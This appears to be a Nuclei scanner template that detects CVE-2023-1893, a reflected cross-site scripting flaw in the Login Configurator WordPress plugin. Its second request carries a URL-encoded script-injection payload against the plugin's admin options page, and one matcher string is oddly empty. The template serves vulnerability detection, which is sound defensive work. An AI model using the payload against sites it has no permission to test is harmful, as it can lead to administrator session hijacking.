id: CVE-2023-1893 info: name: Login Configurator <=2.1 - Cross-Site Scripting author: 0xr2r severity: medium description: | Login Configurator WordPress plugin <= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL. impact: | Attackers can execute arbitrary scripts in the context of site administrators, potentially leading to session hijacking or account compromise. remediation: | Update to the latest version of the plugin where the issue is fixed. reference: - https://wpscan.com/vulnerability/dbe6cf09-971f-42e9-b744-9339454168c7 - http://packetstormsecurity.com/files/173723/WordPress-Login-Configurator-2.1-Cross-Site-Scripting.html - https://nvd.nist.gov/vuln/detail/CVE-2023-1893 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-1893 cwe-id: CWE-79 epss-score: 0.00673 epss-percentile: 0.47399 cpe: cpe:2.3:a:login_configurator_project:login_configurator:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: login_configurator_project product: login_configurator tags: cve,cve2023,wp,wp-plugin,wordpress,xss,login_configurator,vuln flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}" host-redirects: true max-redirects: 2 matchers: - type: word part: body words: - "login-configurator" internal: true - method: GET path: - "{{BaseURL}}/wp-admin/options-general.php?page=login-configurator-options&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E#top" matchers: - type: dsl dsl: - 'contains_all(body, "", "login-configurator")' - 'contains(content_type, "text/html")' - 'status_code == 200' condition: and # digest: 4a0a0047304502201043994cc9c11e132a235d9acefc509701ffbe75df7047c65bec66b044f8db8e022100854bf922bb58dfeb3df965d47af4b972c92b5a1a5ecd3839220bd6aaa7e072b0:922c64590222798bb761d5b6d8e72950